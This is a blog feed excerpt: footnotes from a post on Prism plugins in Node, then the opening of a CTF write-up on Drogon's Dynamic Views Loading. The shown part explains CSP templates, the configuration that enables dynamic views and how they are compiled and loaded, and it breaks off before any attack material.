&lt;li&gt;line-numbers: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/prism/prism-line-numbers.js&quot;&gt;plugin&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-line-numbers.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;show-language: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/prism/prism-show-language.js&quot;&gt;plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;command-line: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-command-line.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;toolbar: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-toolbar.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;diff: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-diff.css&quot;&gt;css&lt;/a&gt; (based on a Eleventy customisation)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Instead of monkeypatching the environment (and potentially affecting other libraries), we could also just write new code using regex to modify HTML, removing the requirement for a DOM altogether. But let’s face it, I sleep more soundly knowing the current implementation is mature and battle-tested. By introducing a DOM API to Node, you&#39;re placing trust in a library to be spec-compliant. By handwriting regex, you&#39;re placing trust in your code (and regex!) to work. Which would you rather have? &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Not that I have any red teaming writeups, but I foresee the possibility of such posts in the future. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;To be fair, there&#39;s an argument to be made for &amp;quot;not running these commands all at once&amp;quot;. Failure isn&#39;t handled. But this largely exists in relatively low-level build commands for C/C++, which are renowned for their many toolchains (read: potential build errors). &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Unlike JSDOM, domino doesn&#39;t have a &amp;quot;create fragment from HTML&amp;quot; function, so &lt;code&gt;template&lt;/code&gt; is the &lt;a href=&quot;https://github.com/fgnass/domino/issues/73&quot;&gt;suggested workaround&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Normally, wrapping it in &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt; is sufficient. But some plugins such as toolbar will traverse up to the parent of &lt;code&gt;pre&lt;/code&gt;, so... &lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt;. Yay, more workarounds! &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Here, rw stands for responsive width. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;It would be better to pass codeblock attributes directly to Prism without the extra stringification and parsing. Guess I&#39;ll leave this as an exercise for the front-end engineers. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>web</category>
        
          <category>js</category>
        
          <category>tutorial</category>
        
          <category>meta</category>
        
          <category>performance</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Dynamic Views Loading – Abusing Server Side Rendering in Drogon</title>
        <description>What could go wrong releasing a C++ web server with &quot;live reload&quot; into the wild?</description>
        <link href="https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/"/>
        <updated>2024-08-18T00:00:00Z</updated>
        <id>https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/&quot;&gt;exploring zip attacks in Juce&lt;/a&gt; to &lt;strong&gt;exploring an alarming configuration in Drogon: Dynamic Views Loading&lt;/strong&gt; (hereafter abbreviated DVL).&lt;/p&gt;
&lt;p&gt;In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?&lt;/p&gt;
&lt;p&gt;This turned out to be a fascinating endeavour, as there happen to be a &lt;em&gt;ton&lt;/em&gt; of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Every time I find an unintended solution, a new one is just around the corner.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-666w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-666w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 666 / 500&quot; alt=&quot;Every time I find an unintended solution, a new one is just around the corner.&quot; title=&quot;Every time I find an unintended solution, a new one is just around the corner.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-666w.webp 666w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 666px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Every time I find an unintended solution, a new one is just around the corner.&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;drogon-redux&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#drogon-redux&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Drogon Redux&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/drogonframework/drogon&quot;&gt;Drogon&lt;/a&gt; is a C++ web framework built with C++17, containing a whole slew of features such as session handling, server side rendering, and websockets — features you would expect in a modern web framework.&lt;/p&gt;
&lt;p&gt;Drogon&#39;s server side rendering is handled by CSP views (C++ Server Pages). Similar to ASP, JSP, PHP, and other HTML templates, these files are sprinkled with special markup such as &lt;code&gt;&amp;lt;%inc ... %&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;%c++ ... %&amp;gt;&lt;/code&gt;, and &lt;code&gt;{% ... %}&lt;/code&gt;, which are evaluated when rendered.&lt;/p&gt;
&lt;h3 id=&quot;simple-view-example&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#simple-view-example&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Simple View Example&lt;/h3&gt;
&lt;p&gt;Here&#39;s a simple example of a CSP:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;DOCTYPE html&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hi &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; name &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Bye &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; name &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can specify C++ control-flow logic with &lt;code&gt;&amp;lt;%c++ ... %&amp;gt;&lt;/code&gt; and substitute variables with &lt;code&gt;[[ ... ]]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To render this file, we&#39;ll call &lt;code&gt;newHttpViewResponse&lt;/code&gt; and pass a &lt;code&gt;name&lt;/code&gt; from the URL endpoint:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;main.cpp&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;registerHandler&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;/hello/{}&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; HttpRequestPtr&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;function&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; HttpResponsePtr&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; callback&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        HttpViewData data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; resp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpResponse&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;newHttpViewResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Example.csp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;main.cpp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After starting the server, we can run &lt;code&gt;curl 127.0.0.1:8080/hello/Picard&lt;/code&gt; and observe the following HTML:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-copy-off=&quot;&quot; class=&quot;language-html&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token doctype&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;!&lt;/span&gt;&lt;span class=&quot;token doctype-tag&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span class=&quot;token name&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Hi Picard&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;h1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;HTML&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;why-use-dynamic-views&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#why-use-dynamic-views&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Why Use Dynamic Views?&lt;/h3&gt;
&lt;p&gt;This is all very nice, until our application becomes a gargantuan, unwieldy mess. What if we want to fine-tune some HTML? Each minor change takes a full minute to recompile. Dynamically-typed, scripting languages with hot-reload suddenly look more appealing.&lt;/p&gt;
&lt;p&gt;To address this, Drogon supports dynamic loading of views. New CSP files added to a target directory will be automagically compiled and loaded. To enable Dynamic Views Loading, we can add the following lines to our JSON configuration:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token property&quot;&gt;&quot;load_dynamic_views&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token property&quot;&gt;&quot;dynamic_views_path&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;./views/d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JSON&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;or use the C++ equivalent:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;enableDynamicViewsLoading&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;./views/d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;./views/d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Drogon will then actively monitor the file path for new/modified .csp files.&lt;/p&gt;
&lt;h3 id=&quot;dynamic-views-compilation-and-loading&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#dynamic-views-compilation-and-loading&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Dynamic Views: Compilation and Loading&lt;/h3&gt;
&lt;p&gt;How do dynamic views work in Drogon?&lt;/p&gt;
&lt;p&gt;After all, C++ is compiled, not interpreted.&lt;/p&gt;
&lt;p&gt;But it&#39;s possible to load compiled code at runtime through &lt;a href=&quot;https://en.wikipedia.org/wiki/Shared_library&quot;&gt;shared objects&lt;/a&gt;. These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Flow Chart of Dynamic Views Loading&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-404w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-404w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 404 / 412&quot; alt=&quot;Flow Chart of Dynamic Views Loading&quot; title=&quot;Flow Chart of Dynamic Views Loading&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-404w.webp 404w&quot; sizes=&quot;(max-width: 256px) 256px, 404px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Flow Chart of Dynamic Views Loading&lt;/sup&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The user writes a .csp file to the dynamic view path. The rest is up to Drogon.&lt;/li&gt;
&lt;li&gt;Drogon detects the new/modified .csp files.&lt;/li&gt;
&lt;li&gt;Drogon translates the .csp to a regular C++ .h and .cc file, using the &lt;code&gt;drogon_ctl&lt;/code&gt; command-line tool.&lt;/li&gt;
&lt;li&gt;The .cc is compiled into a shared object (.so) using the &lt;code&gt;-shared&lt;/code&gt; flag.&lt;/li&gt;
&lt;li&gt;The .so is loaded with &lt;code&gt;dlopen&lt;/code&gt;, after previous versions are unloaded with &lt;code&gt;dlclose&lt;/code&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;The new/updated view can now be used in application code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All of this happens in &lt;a href=&quot;https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/lib/src/SharedLibManager.cc&quot;&gt;SharedLibManager.cc&lt;/a&gt;. Feel free to take a gander.&lt;/p&gt;
&lt;h3 id=&quot;from-csp-markup-to-c&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#from-csp-markup-to-c&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; From CSP Markup to C++&lt;/h3&gt;
&lt;p&gt;Another natural question to ask is: how is CSP markup converted in C++ source code and compiled?&lt;/p&gt;
